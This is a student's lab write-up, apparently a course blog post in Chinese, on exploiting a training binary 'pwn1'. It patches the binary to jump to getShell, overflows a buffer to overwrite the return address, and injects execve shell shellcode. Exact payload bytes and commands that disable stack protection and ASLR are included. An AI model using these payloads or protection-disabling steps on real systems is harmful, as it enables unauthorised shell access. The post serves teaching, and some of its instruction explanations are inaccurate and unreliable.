20212934 高铭泽 2021-2022-2 第九次作业

1.实践目标

本次实践的对象是一个名为pwn1linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

三个实践内容如下

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode

 

 

2.基础知识

 

1.掌握NOPJNEJEJMPCMP汇编指令的机器码
·NOP:空指令,在执行时,CPU无需任何操作。
JNE:与跳转不同的踢条件转移指令
JE:跳转
CMP:比较指令,相当于减法运算,但是不会寄存结果。
2.掌握反汇编与16进制编程器
3.反汇编:objdump -d ***
4.二进制转十六进制::%! xxd
5.掌握可执行文件的基本格式
6.掌握缓冲区溢出攻击的原理
当计算机向缓冲区内填充数据位数时超过了其自身容量,就会覆盖正确数据

 

3.实践过程

 

 

3.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

 

进入到pwn1使用指令objdump -d pwn1反汇编提供的pwn1文件,可以看到pwn1所有的函数

 

 我们可以看到getShell函数、main函数和foo函数

 

main函数调用中,我们可以看到80484b5这一行中,第四列是汇编指令,代表调用地址为8048491的foo函数,“e8 d7 ff ff ff”是机器指令,e8的含义是“跳转”,EIP值指的是下一条指令的地址:80484ba,这条机器指令的意思是转而执行下一条位于地址80484ba的指令。

输入指令vi pwn1,进入编辑器。

 

 

 输入指令:shifu+:%!xxd,将文编显示改为十六进制模式。

 

 

 

 再次输入”objdump -d pwn1”命令反汇编查看call指令是否调用函数getshell。

 

 最后运行pwn1

 

 3.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

 

使用未被篡改的源文件pwn1,输入命令“objdump -d pwn1”对该文件进行反汇编。

 

 

 

 “apt install gdb”安装,输入命令“gdb pwn1”调式程序。

 

 

 

 输入“r”,运行这个文件,输入一连串11111,程序输出该字符串,报错“Segmentation fault”,原因是输入产生溢出

 

 

 

构造输入字符串并作为pwn1的输入,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用命令(cat input; cat) | ./pwn1,运行结果如下所示

 

3.3 注入一个自己制作的shellcode并运行这段shellcode

 使用kali无法进行execstack指令安装,使用seed ubuntu进行

 

 首先安装execstack指令

 

 

为了能够顺利完成攻击,需要进行一些预先的准备工作

依次输入:

execstack -s pwn1 //设置堆栈可执行

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

 

 

 

然后就是要构造要注入的payload,输入 

 

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

 

 

 

 

 打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn1

ps -ef | grep pwn1命令找到pwn1的进程号是:6098

 

 gdb的attach 6098命令启动调试这个进程:

修改文件中代码为

perl -e 'print "A" x 32;print "\xe0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

 执行(cat input_shellcode;cat) | ./pwn1,执行shell功能,结果如下

 

 

 

 

 

 

 

 

 

 

posted @ 2022-05-15 19:21  哲学焕着  阅读(41)  评论(0编辑  收藏  举报